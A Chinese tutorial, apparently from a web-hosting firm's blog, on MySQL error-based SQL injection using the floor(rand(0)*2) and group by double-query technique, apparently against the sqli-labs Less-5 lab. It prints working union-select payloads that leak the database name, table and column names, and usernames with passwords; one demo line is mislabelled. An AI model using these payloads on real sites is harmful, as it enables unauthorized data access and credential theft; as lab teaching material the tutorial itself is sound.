這篇文章主要講解了“MySQL get基于報錯的盲注方法是什么”,文中的講解內(nèi)容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“mysql get基于報錯的盲注方法是什么”吧!
創(chuàng)新互聯(lián)公司2013年至今,先為新華等服務建站,新華等地企業(yè),進行企業(yè)商務咨詢服務。為新華企業(yè)網(wǎng)站制作PC+手機+微官網(wǎng)三網(wǎng)同步一站式服務解決您的所有建站問題。
報錯注入就是在注入過程中黑客根據(jù)錯誤回顯進行判斷。 形式上是兩個嵌套的查詢,即select...(select...),里面的select被稱為子查詢,他的執(zhí)行順序也是先執(zhí)行子查詢,然后再執(zhí)行行外面的select,雙注入主要涉及到一下sql函數(shù):
rand()隨機函數(shù),返回0~1之間的某個值 floor(a)取整函數(shù),返回小于等于a,且值最接近a的一個整數(shù) count()聚合函數(shù)也稱作計數(shù)函數(shù),返回查詢對象的總數(shù) group by clause分組語句,按照查詢結(jié)果分組 通過報錯來顯示出具體的信息。
查詢的時候如果使用rand()的話,該值會被計算多次。在使用group by的時候,floor(rand(0)*2)會被執(zhí)行一次,如果虛表不存在記錄,插入虛表的時候會再被執(zhí)行一次。
首先使用報錯注入:構(gòu)造語句
1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
顯示結(jié)果
為什么會出現(xiàn)這樣的情況,因為當在一個聚合函數(shù),比如count函數(shù)后面如果使用分組語句就會把查詢的一部分以錯誤的形式顯示出來。
那么,對這個語句中的函數(shù)(也就是上面的4個函數(shù))進一個一個學習: 在本地連接數(shù)據(jù)庫,查詢測試一下concat()的用法。
輸入: select concat('qwe','abc');
看到將qwe和abc拼接在一起
然后測試一下rand()這個隨機函數(shù):
輸入語句:select floor(1.2343232);select floor(3.893);
一共輸入的三次,每次輸出的數(shù)都是隨機,但是這些數(shù)都是大于0,小于1的數(shù)
然后測試一下floor()函數(shù)
輸入語句:select floor(1.2343232);select floor(3.893);
輸出的都是小于或者等于輸入的數(shù)
然后測試一下雙注入查詢的組合
輸入的語句:
select floor(rand()*2);
分析一下,從里往外走,
rand()*2
永遠不可能等于2,不可能小于0;所以floor取整就是1,或者就是0
在深入一下,測試:
select concat((select database()),floor(rand()*2));
看到concat將數(shù)據(jù)庫和后面的取整,合并在一起了。 同理,在less-5的第一個報錯語句
concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a
0x3a是:號,所以就將他們拼接起來。
如果在后面加上from emails表的話,那么返回的結(jié)果就是security0和security1的集,總共有多少條呢,那就要看表里面有多少列信息。
下面,加上group by語句。
select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
as a就是將查詢的
concat((select database()), floor(rand()*2))
名字另取a;然后用group by a進行分組。這樣相同的security0和security1分別分成一組,也就是兩組,也是兩種結(jié)果。
然后我們加上聚合函數(shù)count(*)
select count(*),concat((select database()), floor(rand(0)*2))as a from information_schema.tables group by a;
同理,less-5第一報錯:
參考教程
構(gòu)造語句:
1' union select 1,2,3 from (select count(*),concat((select concat(0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
頁面顯示:
構(gòu)造語句:
1' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
構(gòu)造語句:
1' union select 1,2,3 from (select count(*),concat((select concat(column_name,0x3a,0x3a) from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a --+
構(gòu)造語句:
1' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
感謝各位的閱讀,以上就是“mysql get基于報錯的盲注方法是什么”的內(nèi)容了,經(jīng)過本文的學習后,相信大家對mysql get基于報錯的盲注方法是什么這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是創(chuàng)新互聯(lián),小編將為大家推送更多相關(guān)知識點的文章,歡迎關(guān)注!